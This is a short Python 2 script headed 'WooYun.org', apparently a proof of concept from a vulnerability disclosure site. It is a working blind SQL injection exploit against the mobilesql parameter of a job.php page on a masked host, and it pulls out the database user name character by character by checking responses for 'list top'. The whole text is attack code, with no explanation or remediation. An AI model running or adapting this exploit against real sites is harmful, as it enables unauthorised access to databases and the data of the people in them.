WooYun.org

import urllib2
import re
def inject(payload):
    url = 'http://**.**.**.**/job/job.php?mobilesql='
    print url+payload
    req = urllib2.Request(url+payload)
    response = urllib2.urlopen(req)
    content = response.read()
    return content
wordlist = '@abcdefghijklmnopqrst'
def user():
    result = ""
    for i in range(1,15):
        for num in range(len(wordlist)):
            keyword = ord(wordlist[num])
            content = inject("and%20ord(mid(user(),{0},1))={1}".format(i,keyword))
            match = re.search('list top',content)
            if match:
                print str(i)+'===========>'+chr(keyword)
                result = result+chr(keyword)
                break
    print 'current_user:===========>'+result
user()